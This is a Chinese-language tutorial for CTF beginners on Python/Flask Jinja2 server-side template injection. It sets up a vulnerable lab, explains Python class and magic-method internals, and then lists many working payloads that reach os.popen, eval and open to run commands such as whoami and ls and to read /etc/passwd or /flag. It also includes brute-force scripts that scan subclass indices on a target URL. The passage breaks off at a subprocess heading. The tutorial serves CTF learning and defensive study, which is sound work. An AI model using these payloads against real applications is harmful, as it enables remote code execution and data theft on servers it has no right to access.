ssti模板注入手法总结python篇(一)

这个是一个适合入门打ctf的同学学习的文章,本文尽量使用通俗的话教学

文章的大概的结构

  • 基础
  • 漏洞
  • 绕过
  • 工具
  • pin码(扩展)

基础

这个是基础板块,主要讲解python的flask和python的类

这里介绍两个靶场的地址,有兴趣的可以去看看

1
2
https://github.com/X3NNY/sstilabs
https://blog.csdn.net/2301_80367290/article/details/150071388

这里介绍另外一个靶场的搭建,也是本教程使用的靶场,使用docker搭建

1
2
3
4
sudo docker pull mcc0624/flask_ssti:last
sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
ssh 172.17.0.2
root P@ssw0rd

python虚拟环境

当我们搭建完靶场之后先放一放,后面才开始使用这个靶场

首先讲讲python的虚拟环境,这个主要是为了后面自己使用flask做铺垫,避免污染全局python环境

这个是基础中的基础,已经熟悉的同学可以跳过

下面开始

1
2
3
4
apt update
apt install python3-venv
cd /test/venv
python3 -m venv flask1

虚拟环境

可以看到创建完虚拟环境之后出现了一些新的文件

正常我们使用python3 demo.py

是使用的全局python3

如果我们想使用虚拟环境的python3的话

我们可以这样操作

1
2
cd flask1
source ./bin/activate

安装flask

1
pip install flask

这样安装就是在虚拟环境里面安装了

使用下面这个就可以退出了

1
deactivate

flask基本框架

进入前面讲的虚拟环境

写上这个代码

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello():
return "hello benben"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

看看这个代码

解释:这个就是一个简单的页面,返回hello benben

__name__可以理解为这个就是我们这个文件的文件名称

@app.route(‘/‘)路由,当我们访问这个页面的时候,执行下面这个语句

使用python运行这个文件,默认是开启5000端口

注意这个app.run(host=’0.0.0.0’, port=5000)

写成全是0,说明别人是可以访问我们的

对应的是可以写成127.0.0.1

接下来可以观察一下flask的路由是怎么操作的

将代码进行简单的修改

1
2
3
4
5
6
@app.route('/bneben')
def hello():
return "hello benben"
@app.route('/dazhuang')
def dazhuang():
return "hello dazhuang"

我们访问/benben输出的是hello benben

我们访问/dazhuang输出的是hello dazhuang

这里我们就知道了flask的路由是长什么样子的

flask动态路由

前面我们已经知道了静态的路由是如何写的了,现在看动态路由如何写

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route('/benben/<name>')
def hello(name):
return "hello %s" % name

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)

解释这个:我们构造了一个name 的参数,进行接受URL中的字符

然后回显的页面用的也是name 的这个参数

return使用的是格式化字符串,%s是格式化字符串

运行得到

运行结果

发现我们输入的东西是可以自己控制的

我们构造的变量有三种方式

%s,%d,%f

字符,整数,浮点

所以下面这个代码也是同一个道理

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
app = Flask(__name__)

@app.route('/benben/<name>')
def hello(name):
return "hello %s" % name
@app.route('/int/<int:postID>')
def id(postID):
return " %d " % postID

if __name__ == '__main__':
app.run(host='0.0.0.0')

这里的int目录下是需要传入整数才行的

flaks接收参数

在demo.py这个文件的同一级目录下创建文件夹templates

在这个文件夹里面写入index.html文件

index.html文件内容如下

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action = "http://192.168.184.128:5000/login" method = "post">
<p>Enter Name:</p>
<p><input type = "text" name = "ben" /></p>
<p><input type = "submit" value = "submit" /></p>
</form>
</body>
</html>

然后dome文件内容是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, redirect, url_for, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
print(1)
user = request.form['ben']
return redirect(url_for('success', name=user))
else:
print(2)
user = request.args.get('ben')
return redirect(url_for('success', name=user))

if __name__ == '__main__':
app.run()

简单解释一下这个代码

设置一个index文件,接受参数,传入login这个虚拟目录

然后接受是什么传入方法,什么参数

回显到success这个目录的文件里面

flask模板

逻辑处理代码可以理解为后端处理代码,也就是python

模板可以理解为呈现前端是什么样子的代码,也解释html

下面做一个实验

创建文件夹templates,在这个文件夹里面创建文件index.html

1
2
3
4
5
6
7
8
9
10
11
12
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
模板html展示页面<br>
{{ my_int }}
<br>
{{ my_array }}
</body>
</html>

写入后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, render_template, request
app = Flask(__name__)

@app.route('/', methods = ['GET'])
def index():
my_str = 'Hello benben'
my_int = request.args.get('ben')
my_array = [5,2,0,1,3,1,4]
my_dict = {
'name': 'dazhuang',
'age': 18
}
return render_template("index.html",
my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)

if __name__ == '__main__':
app.run(host='0.0.0.0')

这个前端代码就使用到了模板的方法

这个就可以动态的呈现后端处理的结果

后端代码页对前段代码提供多个参数

展示结果

结果展示.png

flask模板注入漏洞成因

前面已经把基础学了,现在到了学习漏洞长什么样子了

渲染模板时没有严格控制用户的输入

看一下没有漏洞的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('ben')
html_str = """
<html>
<head></head>
<body>{{str}}</body>
</html>
"""
return render_template_string(html_str,str=str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')

这个代码处理get提交的参数的时候,是先将str转义为字符串之后,再将这个字符串显示到页面上

有问题的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('ben')
html_str = """
<html>
<head></head>
<body>{0}</body>
</html>
""".format(str)
return render_template_string(html_str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')

这个代码是先将参数显示在页面上之后,再将参数转义为字符串

如果是这样操作的话,render_template_string会将我们输入的参数当做python代码进行解析,从而执行

流程图.png

我们通过输入这些来判断是什么模板的注入

绿色是有回显的时候指向的箭头

如果有输入回显则我们跟着绿色的箭头走

如果没有回显跟着红色的箭头走

通过那个图片我们可以很清晰的认识到

ssti远不止有python的flask中的jinjia2

还有很多很多

于是来扫个盲吧

1
2
3
4
Smarty	PHP	老牌 PHP 模板引擎,早期非常流行,语法独特(如 {* comment *})。
Twig PHP 现代 PHP 框架(如 Symfony, Laravel)的标配,语法优雅安全(如 {{ 7*7 }})。
Jinja2 Python Python Web 框架(如 Flask, Django)最常用的模板引擎,语法类似 Twig。
Mako Python Python 的另一款模板引擎,性能极高,允许在模板中写原生 Python 代码(灵活性高但风险也大)。

然后我们主要关注python的

1
2
3
4
5
Web 框架 (餐厅)	默认模板引擎 (厨师)	对应的注入学习重点
Flask Jinja2 (最流行) 学习 Jinja2 语法 ({{ ... }}, {% ... %})
Django Django Templates 学习 Django 特有语法 (虽然像 Jinja2,但过滤器的写法不同)
Pylons / Pyramid Mako (常见) 学习 Mako 语法 (支持更强大的 Python 代码执行)
Bottle SimpleTemplate (内置) 学习 SimpleTemplate 语法

漏洞

终于来到了漏洞环节

为了避免后面出现使用的混乱于是文章结构还是先基础之后再讲漏洞利用

漏洞基础

python类

直接看源码

1
2
3
4
5
6
7
8
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()

print(c.__class__)
print(c.__class__.__base__)

这个是个什么玩意

我们只需要知道一个

括号里面的是爹就行,所以在上面这个代码里面A是大爹

下面这个是一个清晰的介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
              ┌─────────┐
object │ ← Python 所有类的基类
└────┬────┘

┌────┴────┐
A
└────┬────┘

┌────┴────┐
B
└────┬────┘

┌─────────────┴─────────────┐
│ │
┌────┴────┐ ┌────┴────┐
│ C │ │ D │
└─────────┘ └─────────┘

可以发现有一个叫object的类是所有类的祖宗

扩展一些全局类,这个在后面十分重要

1
2
3
4
range	Python	类
dict Python 类
cycler Jinja2
namespace Jinja2

同样他们的祖宗都是object

python魔术方法

可以注意到上面的代码中有一个东西

1
2
print(c.__class__)
print(c.__class__.__base__)

__class____base__

类似于这种的我们称之为魔术方法

魔术方法 = __xxx__ 格式(双下划线包起来)

好的那么有什么含义呢

输出结果是

输出结果.png

可以看到输出的结果

第一个是自己的类

第二个是自己的父类,使用的base魔术方法

可想而知,使用__class__是一个自我认识的过程,使用__base__是一个找爹的过程

所以下面的这个代码不能的想到的结果是啥

1
print(c.__class__.__base__.__base__)

输出的便是爹中之爹,即A

下面这也就轻松知道结果

1
print(c.__class__.__base__.__base__.__base__)

输出object祖宗

魔术方法有很多种

下面展示经常使用的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__class__ # 查找当前类型的所属对象
__base__ # 沿着父子类的关系往上走一个
__mro__ # 查找当前类对象的所有继承类
__subclasses__() # 查找父类下的所有子类
__globals__ # 获取函数的全局命名空间
__init__(self) 对象初始化时 访问初始化上下文
__dir__(self) dir()调用时 泄露可用属性

__new__(cls) 创建新实例时 控制对象创建过程
__del__(self) 对象销毁时 潜在后门入口
__getattribute__(self, name) 所有属性访问时 属性访问总入口
__getattr__(self, name) 属性不存在时 动态属性处理
__setattr__(self, name, value) 设置属性时 修改对象状态
__call__(self) 对象被调用时 使任意对象可调用
__func__ 获取函数对象 访问底层函数
__closure__ 访问闭包变量 获取外层变量
__enter__(self) 进入上下文时 返回有风险的对象
__exit__(self) 退出上下文时 清理操作可能被利用
__import__(name) 动态导入模块 极高危,RCE核心
__reduce__(self) 序列化对象时 构造恶意序列化
__getstate__/__setstate__ 序列化控制 篡改序列化状态

要不要全部知道呢?答案是不需要

主要使用的是前面六个

通过代码可以轻松的认识到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 演示魔术方法 - 复制粘贴直接运行

class A:
pass

class B(A):
pass

obj = B()

print("=== 魔术方法演示 ===\n")

# 1. __class__ - 获取对象的类
print(f"1. __class__: {obj.__class__}")

# 2. __base__ - 获取父类
print(f"2. __base__: {B.__base__}")

# 3. __mro__ - 获取所有继承类
print(f"3. __mro__: {B.__mro__}")

# 4. __subclasses__() - 获取所有子类,注意返回的是列表
print(f"4. __subclasses__: {A.__subclasses__()}")

# 5. __globals__ - 获取全局变量,注意返回的是字典
def func():
pass
print(f"5. __globals__: {func.__globals__.keys()}")

# 6. __init__ - 初始化
class Test:
def __init__(self):
print(" → __init__被调用")
t = Test()

# 7. __dir__ - 列出属性
print(f"6. __dir__: {obj.__dir__()[:5]}...") # 只显示前5个

python函数

lipsum Jinja2 函数

joiner Jinja2 函数

url_for Flask 函数

get_flashed_messages Flask 函数

类似于这种的就是函数

其实很难区分,在很多情况下不知道这个是函数还是类还是对象

在进行ssti 的时候需要多多积累才行

python对象

紧接着就是对象了

config Flask 对象

request Flask 对象

session Flask 对象

g Flask 对象

current_app Flask 对象

像这种的就是对象

类、函数、对象区别

认识与区分

可以看到全局类与函数与对象都是英文单词,非常不好区分,我们为什么要区分这三者呢,因为他们使用globals魔术方法的方式不一样,对于后面构造payload的方式是不一样的

函数

1
2
3
4
5
6
# 函数定义
def hello():
return "Hello"

# 函数调用
hello()
  • 使用 def 关键字定义
  • 可以被 () 调用
  • __globals__ 属性
  • 类型是 <class 'function'>

1
2
3
4
5
6
# 类定义
class Person:
pass

# 类本身
Person
  • 使用 class 关键字定义
  • 可以创建实例:Person()
  • 类型是 <class 'type'>
  • 某些类有 __globals__,某些没有

对象

1
2
3
# 对象创建
p = Person()
p # 这是对象
  • 通过 类名() 创建
  • 有自己的属性和方法
  • 类型是类的实例类型 <class '__main__.Person'>
  • 对象本身没有 __globals__ 属性

区分的方法这里介绍两种

法一使用python代码

1
2
3
4
5
6
7
def func(): pass
class MyClass: pass
obj = MyClass()

print(type(func)) # <class 'function'>
print(type(MyClass)) # <class 'type'>
print(type(obj)) # <class '__main__.MyClass'>

法二使用jinjia2语法

1
2
3
{{ lipsum|string }}    # <function generate_lorem_ipsum> 函数
{{ range|string }} # <class 'range'> 类
{{ config|string }} # <Config {'DEBUG': False}> 对象
用globals不同

函数直接访问

1
2
3
4
5
6
7
# Python 代码
def test():
x = 1
return x

print(hasattr(test, '__globals__')) # True
print(type(test.__globals__)) # <class 'dict'>
1
2
3
4
# Jinja2 模板
{{ lipsum.__globals__ }} # 直接访问
{{ url_for.__globals__ }} # 直接访问
{{ get_flashed_messages.__globals__ }} # 直接访问

部分访问

1
2
3
4
5
6
7
8
9
# Python 代码
class MyClass:
pass

print(hasattr(MyClass, '__globals__')) # False

# 但有些类有 __globals__
import warnings
print(hasattr(warnings.catch_warnings, '__globals__')) # True
1
2
3
4
5
# Jinja2 模板
{{ range.__globals__ }} # 错误(range 类没有)
{{ dict.__globals__ }} # 错误(dict 类没有)
{{ cycler.__globals__ }} # 可访问(Jinja2 的 cycler)
{{ namespace.__globals__ }} # 可访问(Jinja2 的 namespace)

为什么有些类可以直接用,但是有些不能直接用

因为

类型 实现语言 是否有 __globals__
Python 编写的类 Python
C 语言编写的类 C 没有
Jinja2 类 Python
Python 内置类 C 没有

懂否?python的类有的是C语言实现的

对象需要通过类链 🔗

1
2
3
4
5
6
7
8
9
# Python 代码
class MyClass:
def __init__(self):
pass

obj = MyClass()

print(hasattr(obj, '__globals__')) # False
print(hasattr(obj.__class__.__init__, '__globals__')) # True
1
2
3
4
5
6
7
8
9
# Jinja2 模板
{{ config.__globals__ }} # 错误
{{ config.__class__.__init__.__globals__ }} # 正确

{{ request.__globals__ }} # 错误
{{ request.__class__.__init__.__globals__ }} # 正确

{{ session.__globals__ }} # 错误
{{ session.__class__.__init__.__globals__ }} # 正确

简单说就是把对象使用__class__转化为类

那我问你:为什么要这么写{{ request.__class__.__init__.`?这个里面的`__init__`是干啥的? 那肯定是有些类不能直接使用`__globals__`,需要使用`__init__`,那么简单的一点说可以理解为使用`__init__`将类转化为了函数 当然不能这样粗俗的不优雅的说,上面那样讲只是为了好理解 下面是比较官方的回答 `{{ config.__class__.__init__ }} 获取的是类的构造函数方法对象,它是一个方法(method),本质上属于可调用对象(callable)

下面这个图可以好好看看

1
2
3
4
5
6
7
8
9
10
11
config (对象)

├─ __class__ → Config (类)
│ │
│ ├─ __init__ (方法/函数) ← 这里有 __globals__
│ │ │
│ │ └─ __globals__ (字典) ✅
│ │
│ └─ __str__ (方法) ← 这里可能没有

└─ __globals__ ❌ (对象本身没有)

神奇的__globals__

这个有多神奇呢?这里可以举一个例子

运行这个简单的代码

1
2
3
4
5
6
7
8
9
from flask import Flask, url_for
x = 10
y = 20
def test():
pass

print(test.__globals__.keys())
print('------------------------------')
print(url_for.__globals__.keys())

输出结果

1
2
3
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__annotations__', '__builtins__', '__file__', '__cached__', 'Flask', 'url_for', 'x', 'y', 'test'])
------------------------------
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'annotations', 'importlib', 'os', 'sys', 't', 'datetime', 'lru_cache', 'update_wrapper', 'werkzeug', '_wz_abort', '_wz_redirect', 'BaseResponse', '_cv_request', 'current_app', 'request', 'request_ctx', 'session', 'message_flashed', 'get_debug_flag', 'get_load_dotenv', 'stream_with_context', 'make_response', 'url_for', 'redirect', 'abort', 'get_template_attribute', 'flash', 'get_flashed_messages', '_prepare_send_file_kwargs', 'send_file', 'send_from_directory', 'get_root_path', '_split_blueprint_path'])

我们可以发现__globals__返回的是一个字典

我们还可以发现第一个print输出的结果是

既有全局对象还有内置的模块

所以我们是不是可以知道__globals__的特性了

1
__globals__ 返回一个字典(我们在代码里面使用了keys()函数,这个函数只返回键),包含函数定义时的全局命名空间,里面有 os、sys、__builtins__、current_app、request 等模块和对象。

然后我们观察第二个print

在这个里面我们使用了flask里面的函数url_for

结果输出的内容里面有很多的危险的模块,对象,函数

所以说用好__globals__是ssti里面必要的

神奇的__builtins__

神奇在哪里?

依旧使用一个简短的代码看看效果

1
2
from flask import Flask, url_for
print(url_for.__globals__['__builtins__'].keys())

运行结果

1
2
PS C:\Users\Admin\Desktop\test\test\3.29> python 1.py
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'len', 'locals', 'max', 'min', 'next', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help'])

这些是啥

这些是一些类和函数

所以可以总结一下这个特性

1
__builtins__ 返回一个模块,包含 Python 的所有内置函数和类,如 evalexecopen__import__ 等。

在这个里面我们发现了诸多危险的函数

1
2
3
4
5
6
'eval': <built-in function eval>
'exec': <built-in function exec>
'__import__': <built-in function __import__>
'open': <built-in function open>
'compile': <built-in function compile>
'input': <built-in function input>

我们看到没有这里有一个小技巧

我们在使用的时候可以使用keys()函数,避免出现<built-in function input>这种奇奇怪怪的字符

神奇的__dir__()

这个跟keys()函数很像,是扩展攻击面的,看这个对象有没有危险的东西

我们还是通过一个简短的代码看看效果

1
2
3
4
5
6
7
8
import os
class A:
def __dir__(self):
return ['a', 'b', 'c']
A = A()
print(os.__dir__())
print('----------------------')
print(A.__dir__())

输出的结果

1
2
3
4
PS C:\Users\Admin\Desktop\test\test\3.29> python 2.py
['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'abc', 'sys', 'st', '_check_methods', '__all__', '_exists', '_get_exports_list', 'name', 'linesep', 'stat', 'access', 'chdir', 'chmod', 'getcwd', 'getcwdb', 'link', 'listdir', 'lstat', 'mkdir', 'readlink', 'rename', 'replace', 'rmdir', 'symlink', 'system', 'umask', 'unlink', 'remove', 'utime', 'times', 'execv', 'execve', 'spawnv', 'spawnve', 'getpid', 'getppid', 'getlogin', 'kill', 'startfile', 'waitpid', 'open', 'close', 'closerange', 'device_encoding', 'dup', 'dup2', 'lseek', 'read', 'write', 'fstat', 'isatty', 'pipe', 'ftruncate', 'truncate', 'putenv', 'strerror', 'fsync', 'abort', 'urandom', 'get_terminal_size', 'cpu_count', 'get_inheritable', 'set_inheritable', 'get_handle_inheritable', 'set_handle_inheritable', 'scandir', 'fspath', 'environ', 'F_OK', 'R_OK', 'W_OK', 'X_OK', 'TMP_MAX', 'O_RDONLY', 'O_WRONLY', 'O_RDWR', 'O_APPEND', 'O_CREAT', 'O_EXCL', 'O_TRUNC', 'O_BINARY', 'O_TEXT', 'O_NOINHERIT', 'O_SHORT_LIVED', 'O_TEMPORARY', 'O_RANDOM', 'O_SEQUENTIAL', 'P_WAIT', 'P_NOWAIT', 'P_NOWAITO', 'P_OVERLAY', 'P_DETACH', 'error', 'stat_result', 'statvfs_result', 'times_result', 'uname_result', 'terminal_size', 'DirEntry', '_exit', 'path', 'curdir', 'pardir', 'sep', 'pathsep', 'defpath', 'extsep', 'altsep', 'devnull', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'makedirs', 'removedirs', 'renames', 'walk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', '_execvpe', 'get_exec_path', 'MutableMapping', '_Environ', '_putenv', '_unsetenv', 'getenv', 'supports_bytes_environ', 'fsencode', 'fsdecode', 'spawnl', 'spawnle', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike', '_AddedDllDirectory', 'add_dll_directory']
----------------------
['a', 'b', 'c']

所以我们知道了这个的特性

1
__dir__() 是所有对象都有的魔术方法,返回该对象所有属性和方法的名称列表(字符串),常用于探测对象有哪些可用功能

那么这个返回的结果和keys()有什么区别呢

__dir__()返回的是该对象所有属性和方法

keys()这一般经常使用与__builtins__,url_for.__globals__[‘__builtins__‘].keys()返回的是内置的函数和类

漏洞攻击探测

为什么叫做漏洞攻击探测呢,因为我们在做题目的时候会经常遇到一些禁用个别对象或者是禁用个别函数的情况,这个部分主要是要知道ssti的攻击面非常丰富

在前面我们已经了解到了两个神奇的东西

__builtins____globals__

这里有一个小的tips

__builtins__的tips

首先介绍一下这个

在Python中,__builtins__是一个特殊的模块或字典,它包含了内置的函数、异常和类型。在全局作用域中,__builtins__通常是对内置命名空间的引用。在大多数Python环境中,__builtins__是 builtins模块(Python 3)或 __builtin__模块(Python 2)的引用

不难理解这个就是一个模块,里面有很多危险函数

例如我们希望利用全局类对象request来获取风险函数,很流畅地进入了,然而我们发现其globals中并不存在os模块。于是我们考虑换一种方式来导入os模块。我们可以发现在globals中的builtins中含有另一个风险函数eval,我们可以利用eval执行风险python语句从而间接导入os模块,于是就有payload:

1
{{request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

所以我们有了另外一个方法

通过__globals__找到使用__builtins__来找到危险函数

接下来就是获取该类的方法,然后获取该方法的globals属性,观察有无os或者builtins,这是一项浩瀚的工程,可以借助脚本,也可以记住一些常见的能获取到风险函数的类。

一般来说,在绝大多数环境下,这些类经常被使用:

1
2
3
4
5
6
os._wrap_close
warnings.WarningMessage
_frozen_importlib.BuiltinImporter
subprocess.Popen
ctypes.CDLL
codecs.StreamReaderWriter

讲到此处我们可以触类旁通地发现,SSTI不只有一种方法去执行,如果我们获取的类本身就足够有特点,那么也不必拘泥于常规

接下来就是需要使用这两个东西构造一个攻击代码

函数探测

lipsum利用

lipsum这个是一个函数没有想到吧

看不出来?没事没事,慢慢积累

函数的话是不是可以直接使用__globals__

1
2
{{lipsum}}
{{lipsum.__globals__}}

使用.png

1
{{lipsum.__globals__['os'].__dir__()}}

查看可用属性

前面有讲过__dir__() 是 Python 的内置方法,用于返回对象的所有属性和方法列表

我们发现了风险函数popen,于是就有了经典的payload:

1
{{lipsum.__globals__['os'].popen('whoami').read()}}
url_for利用

跟上面一样的使用方法,查看属性

1
{{url_for.__globals__['os'].__dir__()}}

发现有popen,构造

1
{{url_for.__globals__.os.popen('ls').read()}}
get_fla_me利用

跟上面的一样,查看属性

之后构造

1
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}

对象和类探测

对象和类是差不多的东西使用的方法大差不差

对象构造

什么是一般化构造

1
{{"".__class__.__bases__[0].__subclasses__()}}

长这个样子的就是一般化构造

通过对象,找到object类,之后寻找危险函数或者类,执行命令

很显然对象远远不止这一种

1
2
3
4
5
6
7
8
9
10
11
12
config	Flask	对象
request Flask 对象
session Flask 对象
g Flask 对象
current_app Flask 对象
这些都可以构造
无脑一点
''
""
()
{}
这些也能构造

像这种

1
2
3
4
{{''.__class__}}
{{().__class__}}
{{[].__class__}}
{{{}.__class__}}

结果是

1
2
3
4
<class 'str'>
<class 'tuple'>
<class 'list'>
<class 'dict'>
类构造
1
{{range.__class__.__base__.__subclasses__() }}

这些类都可以构造

1
2
3
4
range	Python	类
dict Python 类
cycler Jinja2 类
namespace Jinja2 类

这个脚本可以使用返回索引以及对应的类的信息

1
2
3
4
{% set classes = range.__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }})
{% endfor %}

这个主要的好处是,可以列举类的同时还可以把类的索引列举出来

在这个脚本中因为range是类所以只能寻找object这个类来获得所有的可用类

危险类和函数

类和对象的使用方法差不多

只是因为对象的话多一个步骤而已,需要使用__class__将对象转化为类

frozen_importlib_ext.FileLoader

如果这个类是79的索引的话,可以这样操作

1
{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

进行文件读取

异常类

异常是 Python 程序运行过程中发生的错误事件。当程序出现错误时,Python 会“抛出”一个异常对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
OSError

KeyError

ValueError

AttributeError

TypeError

IndexError

NameError

ZeroDivisionError

StopIteration

ArithmeticError

使用方法

1
{{().__class__.__base__.__subclasses__()[14].__str__.__globals__['__builtins__'].open('/flag').read()}}

简单理解一下这个

1
2
3
4
5
6
7
8
9
10
11
Python 解释器启动

├── 创建 builtins 模块
│ │
│ ├── 定义 OSError 类
│ │ └── 定义 __str__ 方法 (函数)
│ │ └── 该函数的 __globals__ → builtins 模块的全局命名空间
│ │
│ └── 在全局命名空间中设置 __builtins__ = builtins (指向自己)

└── 所有其他模块的全局命名空间都包含 __builtins__
内置函数

执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass

这个脚本可以获得哪些类里面有eval执行函数

1
{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

其中相当于是使用__init__将类转化为函数

之后执行即可

如果想知道那些危险类的类名的话可以使用这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = input('请输入URL链接:')

for i in range(500):
# 检查是否包含 eval
data_check = {"code": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url, data=data_check)
if response.status_code == 200 and 'eval' in response.text:
# 获取类名
data_name = {"code": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__name__}}"}
resp_name = requests.post(url, data=data_name)
class_name = resp_name.text.strip()
print(f"索引 {i}: {class_name}")
except:
pass
os.py模块

我想要找到os的模块

  • 通过 config,调用 os
    {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
  • 通过 url_for,调用 os
    {{url_for.__globals__.os.popen('whoami').read()}}
  • 还有很多类似的自带的类的方法
1
2
3
4
5
6
1. 通过 request
{{request.__init__.__globals__['os'].popen('whoami').read()}}
2. 通过 session
{{session.__init__.__globals__['os'].popen('whoami').read()}}
3. 通过 g
{{g.__class__.__init__.__globals__['os'].popen('whoami').read()}}
  • 在已经加载 os 模块的子类里直接调用 os 模块
    {{".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

使用第三种构造pyload

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
#print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
print(i)
except:
pass

构造pyload

1
{{().__class__.__base__.__subclasses__()[444].__init__.__globals__.os.popen('ls').read()}}

这里有一个小tips:不用看这里只使用了__globals__,其实也是可以使用__builtins__配合找到有危险的类或者是函数

1
{{().__class__.__base__.__subclasses__()[444].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

所以说思路要打开

第三方库importlib类

使用脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
url = input('请输入URL链接: ')
for i in range(500):
data = {"name": "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except :
pass

构造pyload

1
2
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os").popen("whoami").read()}}
linecache函数

只需要修改脚本里面的返回判断的值即可

pyload构造

1
2
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l /").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l /").read()}}
subprocess.Popen 类
1
2
3
4
5
6
7
8
